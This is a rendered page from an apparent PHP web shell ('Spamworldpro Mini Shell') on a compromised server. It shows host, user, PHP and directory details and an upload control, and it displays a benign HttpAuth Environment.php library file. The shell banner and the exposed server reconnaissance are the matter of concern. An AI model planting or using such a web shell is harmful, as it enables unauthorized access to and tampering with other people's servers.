Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/demo.cartinsight.co/vendor/intervention/httpauth/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/demo.cartinsight.co/vendor/intervention/httpauth/src/Environment.php
<?php

namespace Intervention\HttpAuth;

use Exception;

class Environment
{
    /**
     * Available auth tokens
     *
     * @var array
     */
    protected $tokenClassnames = [
        Token\PhpAuthUser::class,
        Token\HttpAuthentification::class,
        Token\RedirectHttpAuthorization::class,
        Token\PhpAuthDigest::class,
        Token\HttpAuthorization::class,
    ];

    /**
     * Get first active auth token from all available tokens
     *
     * @return TokenInterface
     */
    public function getToken(): TokenInterface
    {
        foreach ($this->tokenClassnames as $classname) {
            if ($auth = $this->getActiveTokenOrNull($classname)) {
                return $auth;
            }
        }

        return new Token\NullToken();
    }

    /**
     * Try to parse auth token from given classname. Returns token object
     * if token is active and could be parsed or null.
     *
     * @param  string $classname
     * @return TokenInterface|null
     */
    private function getActiveTokenOrNull($classname)
    {
        try {
            $auth = new $classname();
        } catch (Exception $e) {
            $auth = null;
        }

        return $auth;
    }
}

Spamworldpro Mini